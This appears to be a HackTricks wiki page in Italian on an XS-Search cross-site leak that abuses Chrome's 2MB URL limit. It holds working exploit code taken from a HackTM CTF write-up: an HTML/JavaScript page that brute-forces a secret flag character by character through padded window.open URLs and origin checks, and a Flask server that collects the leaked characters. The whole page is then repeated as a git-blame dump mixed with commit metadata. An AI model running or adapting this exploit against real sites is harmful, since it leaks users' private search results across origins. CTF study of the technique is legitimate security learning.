hacktricks/pentesting-web/xs-search/url-max-length-client-side.md

# URL Max Length - Client Side

{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Supporta HackTricks</summary>

* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.

</details>
{% endhint %}

Codice da [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
```html
<html>
<body></body>
<script>
(async () => {

const curr = "http://secrets.wtl.pw/search?query=HackTM{"

const leak = async (char) => {

fetch("/?try=" + char)
let w = window.open(curr + char +  "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))

const check = async () => {
try {
w.origin
} catch {
fetch("/?nope=" + char)
return
}
setTimeout(check, 100)
}
check()
}

const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"

for (let i = 0; i < CHARSET.length; i++) {
leak(CHARSET[i])
await new Promise(resolve => setTimeout(resolve, 50))
}
})()
</script>
</html>
```
Server side:
```python
from flask import Flask, request

app = Flask(__name__)

CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []

@app.route('/', methods=['GET'])
def index():
global chars

nope = request.args.get('nope', '')
if nope:
chars.append(nope)

remaining = [c for c in CHARSET if c not in chars]

print("Remaining: {}".format(remaining))

return "OK"

@app.route('/exploit.html', methods=['GET'])
def exploit():
return open('exploit.html', 'r').read()

if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
```
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Supporta HackTricks</summary>

* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.

</details>
{% endhint %}
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:40 +00:00			`# URL Max Length - Client Side`

			`{% hint style="success" %}`
			`Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
			`<details>`

Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:40 +00:00			`<summary>Supporta HackTricks</summary>`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:40 +00:00			`* Controlla i [piani di abbonamento](https://github.com/sponsors/carlospolop)!`
			`* Unisciti al 💬 [gruppo Discord](https://discord.gg/hRep4RUj7f) o al [gruppo telegram](https://t.me/peass) o seguici su Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Condividi trucchi di hacking inviando PR ai [HackTricks](https://github.com/carlospolop/hacktricks) e [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) repos su github.`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
			`</details>`
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:40 +00:00			`{% endhint %}`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
Translated to Italian 2024-02-10 13:03:23 +00:00			`Codice da [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00			```html
			`<html>`
			`<body></body>`
			`<script>`
Translated to Italian 2024-02-10 13:03:23 +00:00			`(async () => {`

			`const curr = "http://secrets.wtl.pw/search?query=HackTM{"`

			`const leak = async (char) => {`

			`fetch("/?try=" + char)`
			`let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))`

			`const check = async () => {`
			`try {`
			`w.origin`
			`} catch {`
			`fetch("/?nope=" + char)`
			`return`
			`}`
			`setTimeout(check, 100)`
			`}`
			`check()`
			`}`

			`const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"`

			`for (let i = 0; i < CHARSET.length; i++) {`
			`leak(CHARSET[i])`
			`await new Promise(resolve => setTimeout(resolve, 50))`
			`}`
			`})()`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00			`</script>`
			`</html>`
			```
			`Server side:`
			```python
			`from flask import Flask, request`

			`app = Flask(__name__)`

			`CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"`
			`chars = []`

			`@app.route('/', methods=['GET'])`
			`def index():`
Translated to Italian 2024-02-10 13:03:23 +00:00			`global chars`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
Translated to Italian 2024-02-10 13:03:23 +00:00			`nope = request.args.get('nope', '')`
			`if nope:`
			`chars.append(nope)`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
Translated to Italian 2024-02-10 13:03:23 +00:00			`remaining = [c for c in CHARSET if c not in chars]`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
Translated to Italian 2024-02-10 13:03:23 +00:00			`print("Remaining: {}".format(remaining))`

			`return "OK"`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
			`@app.route('/exploit.html', methods=['GET'])`
			`def exploit():`
Translated to Italian 2024-02-10 13:03:23 +00:00			`return open('exploit.html', 'r').read()`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
			`if __name__ == '__main__':`
Translated to Italian 2024-02-10 13:03:23 +00:00			`app.run(host='0.0.0.0', port=1337)`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00			```
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:40 +00:00			`{% hint style="success" %}`
			`Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`

GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00			`<details>`

Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:40 +00:00			`<summary>Supporta HackTricks</summary>`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:40 +00:00			`* Controlla i [piani di abbonamento](https://github.com/sponsors/carlospolop)!`
			`* Unisciti al 💬 [gruppo Discord](https://discord.gg/hRep4RUj7f) o al [gruppo telegram](https://t.me/peass) o seguici su Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Condividi trucchi di hacking inviando PR ai [HackTricks](https://github.com/carlospolop/hacktricks) e [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) repos su github.`
GITBOOK-3817: No subject 2023-03-05 22:20:47 +00:00
			`</details>`
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:40 +00:00			`{% endhint %}`